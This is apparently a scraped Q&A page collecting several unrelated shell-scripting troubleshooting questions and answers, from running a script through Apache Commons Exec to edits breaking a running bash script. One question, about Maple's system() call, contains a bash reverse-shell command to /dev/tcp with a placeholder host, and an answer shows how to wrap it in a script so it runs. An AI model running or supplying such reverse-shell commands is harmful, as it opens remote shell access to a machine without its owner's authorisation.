I have a shell script which I want to execute within a Java class. The shell script takes an input file and produces an output file from it.
To execute it, I use apache commons exec. Here's my little code:
CommandLine cmdLine = CommandLine.parse("/bin/sh ./generate_void_description.sh ./n3file ./voidfile");
int exitValue = executor.execute(cmdLine);
As a Result i get this Error Message :
./generate_void_description.sh: 44: ./generate_void_description.sh: Syntax error: "(" unexpected
org.apache.commons.exec.ExecuteException: Process exited with an error: 2 (Exit value: 2)
Of course I can read and I understand that the message means that there's a syntax Error in the script but.
1) I didnt write the script and I'm not familiar with bash script syntax
2) The script works perfectly without any errors when I run it on a terminal within ubuntu
Has it something to do with User rights ? I need to create an output file maybe I don't have the permissions to do this if if
The script uses bash features, most noticeably an array in line 44. You'll have to execute the script using /bin/bash, not /bin/sh.
Seems like the bash script is exiting with a return code of 2. If that's normal, try this before making the execute call.
executor.setExitValue(2);
Related
I was trying to run $init 0 and then this was the response by the fish shell. I was tweaking some part today but don't know what I might have messed up during the process.
source: Error encountered while sourcing file “0/functions/git/vcs.git.present.fish”:
It seems like you have a function called init (from oh-my-fish or something?), and "0" is an invalid argument for that.
Use command init if you want to refer to the command.
Can someone help me with this:
How to write a UNIX shell script that takes a parameter. The parameter passed should be the name of a file that is executable. Validate the parameter and if it is not valid output an appropriate error message and ensure your script exits with an overall status of error. If the parameter is valid execute the parameter. If the execution of the parameter fails then output an appropriate error message and ensure your script exits with an overall status of error. If the parameter is valid and executed successfully my script should exit with an overall status of success.
Okay, that's not a prob.
Split your task into 4 simple steps:
How to pass command line arguments to bash script.
How to check whether executable file exists.
How to display message in bash.
How to execute something from bash.
You'r welcome!
I have a problem with running script under bash. When the script is started and while it is executing some long operation and I change that script, after long operation is finished bash is reading rest of the script and fails with silly errors like below:
test.sh: line 1093: unexpected EOF while looking for matching `"'
test.sh: line 1098: syntax error: unexpected end of file
If I run the same script (without further changes) there are no error whatsoever.
I suspect there is a buffered reading done by bash. Is there something I can do to make bash reading script in whole?
Bash reads the script line by line. If you change the length of a line that's before the current position, bash will start reading the next line from the middle of a line and most probably fail.
Don't change the source of a running script, make a copy.
Probable duplicate of the question asked:
Edit shell script while it's running
In particular, I like the answer at the comment referenced in the link (involves use of the source command and seperate .sh files).
I found a solution: to add {} like
#!/bin/bash
{
code goes here
}
This way everything inside {} will be read into memory.
I am running the following command from maple (the function system works just like functions such as os.system from python):
system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1")
However, it fails and this is the output:
bash: no job control in this shell bash: &: No such file or directory
Exit Value: 127
The weird thing is that the command works great when calling it from Terminal...
Any suggestions of how I could fix this?
"No job control" means that you can't bring background jobs into the foreground when running an interactive shell.
I would focus the analysis on the wording of the second error message. We know from it that bash is running. My guess is that Maple (not knowing the meaning of the > WORD construct in bash) tokenizes the string along the white space, and then does something like execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport"). At least this would explain the error message.
Could you try the following? Create a stand-alone two-line bash script like this:
#!/usr/bin/bash
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1
Set it to executable, and then invoke it from Maple with
system("yourpath/yourscript")
At least the error message No such file or directory should be gone.
I have written a simple bash script shown below:
#!/bin/bashhere
/net/account/admin/george.chilumbu/nmon2influxdb import /data1/nmon/log-file.nmon
But when i execute the script, i get the following error message
2016/05/25 18:05:18 TimeStamp T0007 not found
However, when i try to run the command directly in the terminal, it runs just fine. Not sure what is the issue here. I even tried putting the command in a function and then calling that function, but that did not seem to work.